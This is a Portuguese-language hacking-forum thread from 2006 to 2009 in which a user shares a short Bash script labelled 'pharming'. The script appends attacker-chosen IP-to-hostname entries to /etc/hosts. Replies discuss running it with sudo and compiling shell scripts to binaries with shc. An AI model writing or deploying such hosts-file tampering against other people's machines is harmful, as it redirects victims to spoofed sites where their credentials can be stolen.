FORUM DARKERS

Tecnologia & Informática => Programação => Shell Script => Topic started by: Cloudy on 11 de March , 2006, 10:22:08 AM

Title: Insert Pharming (Shell Script)
Post by: Cloudy on 11 de March , 2006, 10:22:08 AM
Aeee, o primeiro a postar aqui nessa área. Por enquanto não tenho muito assunto para postar aqui, mas quero começar a movimentar aqui, então fiz um "Insert Pharming" em Shell Script. A idéia veio do user Kratos, que postou um em Phyton, então resolvi fazer o meu em Sh.

Ele foi feito só para estudo, sem chances de usar em SEing's.

#!/bin/bash
# Codezinho (Por Cloudy) para adicionar IP's no arquivo de hosts (Pharming)
clear
echo "Programa que adiciona IP's no arquivo de hosts - Pharming."
echo "Qual metodo deseja usar? [1/2]"
read resp
if [ $resp = 1 ] ; then
     echo "Digite o IP:"
     read ip
     echo "Digite o DNS:"
     read dns
     echo "$ip     $dns" >> /etc/hosts
     echo "Operação concluída com sucesso..."
     echo "$dns = $ip"
elif [ $resp = 2 ] ; then
     echo "Adicionando IPs no arquivo de hosts..."
     echo "127.0.0.1     www.darkers.com.br" >> /etc/hosts
else
     echo "Escolha 1 ou 2 ignorante"

Pronto, é esse ae. Ele tem que ser executado como root, senão dá erro ao tentar editar o arquivo de hosts.

Se vcs quiserem eu comento, mas acho que não precisa né?

...by Cloudy
Title: Re: Insert Pharming (Shell Script)
Post by: slul on 11 de March , 2006, 02:22:55 PM
Dica coloque o que significa o método 1 e 2 e insira um dialog de login afinal esse code é só pra root né =P
Title: Re: Insert Pharming (Shell Script)
Post by: Kratos on 13 de March , 2006, 01:19:03 PM
Bela !!!!! Cloudy ....

Parabéns, tem um primo meu que vai gostar de ver isso !!!!!
Title: Re: Insert Pharming (Shell Script)
Post by: rodweb on 13 de March , 2006, 02:07:27 PM
legal o script... e se usar o "sudo" pra não precisar logar como root ?
Title: Re: Insert Pharming (Shell Script)
Post by: Anonymous on 14 de March , 2006, 06:56:40 PM
Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?
Title: Re: Insert Pharming (Shell Script)
Post by: Anonymous on 14 de March , 2006, 08:19:14 PM
Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?

Staff, desculpem a grosseiria, mas...
Ou my God!

Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...
Title: Re: Insert Pharming (Shell Script)
Post by: bloodrain on 14 de March , 2006, 11:36:38 PM
Quote from: "Morte137"
Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?

Staff, desculpem a grosseiria, mas...
Ou my God!

Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...

resumindo o que ele falo:
pq se vc nao sabe oq eh shell script nao vai saber oq ele falou
isso eh pra linux
Title: Re: Insert Pharming (Shell Script)
Post by: shandler on 16 de January , 2009, 07:06:21 PM
Existe sim, no site: http://www.datsi.fi.upm.es/~frosal/ tem um programa que traduz o Shell Script para um programa C que depois pode ser compilado para um binario.

Baixe o arquivo tar xzvf shc-3.8.6.tgz:

wget -c http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.6.tgz

Descompacte o mesmo:

tar xzvf shc-3.8.6.tgz

Entre no diretorio shc-3.8.6 e compile o programa:

make

Para compilar um Shell Script é só executar:

shc -r -v -f /tmp/SeuScript.sh

     -r = Compatibilidade entre Linux
     -v = Modo Verbose
     -f = Arquivo que será compilado

Title: Re: Insert Pharming (Shell Script)
Post by: Imoogi on 16 de January , 2009, 07:19:34 PM
legal, já vi esse programa, mas nunca testei ;)